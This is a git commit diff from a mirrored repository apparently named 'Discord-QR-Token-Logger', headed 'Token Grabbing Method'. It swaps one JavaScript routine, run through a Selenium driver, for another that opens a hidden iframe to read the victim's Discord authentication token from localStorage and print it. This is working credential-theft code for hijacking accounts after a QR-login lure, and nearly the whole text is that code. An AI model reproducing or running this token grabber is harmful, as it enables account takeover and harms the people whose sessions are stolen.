mirror of
https://github.com/9P9/Discord-QR-Token-Logger.git
synced 2025-07-29 14:05:28 +00:00
Token Grabbing Method
This commit is contained in:
parent
fc646d8fc6
commit
2b2413a48a
@ -65,22 +65,18 @@ def main():
|
||||
if discord_login != driver.current_url:
|
||||
print('Grabbing token... \n')
|
||||
token = driver.execute_script('''
|
||||
|
||||
var req = webpackJsonp.push([
|
||||
[], {
|
||||
extra_id: (e, t, r) => e.exports = r
|
||||
},
|
||||
[
|
||||
["extra_id"]
|
||||
]
|
||||
]);
|
||||
for (let e in req.c)
|
||||
if (req.c.hasOwnProperty(e)) {
|
||||
let t = req.c[e].exports;
|
||||
if (t && t.__esModule && t.default)
|
||||
for (let e in t.default) "getToken" === e && (token = t.default.getToken())
|
||||
}
|
||||
getToken = function () {
|
||||
window.dispatchEvent(new Event('beforeunload'));
|
||||
let iframe = document.createElement('iframe');
|
||||
iframe.style.display = 'none';
|
||||
document.body.appendChild(iframe);
|
||||
let localStorage = iframe.contentWindow.localStorage;
|
||||
var token = JSON.parse(localStorage.token);
|
||||
return token;
|
||||
}
|
||||
let token = getToken();
|
||||
return token;
|
||||
|
||||
''')
|
||||
print('------------------------------------------------------------------------------------------')
|
||||
print('Token grabbed:',token)
|
||||
|
Loading…
x
Reference in New Issue
Block a user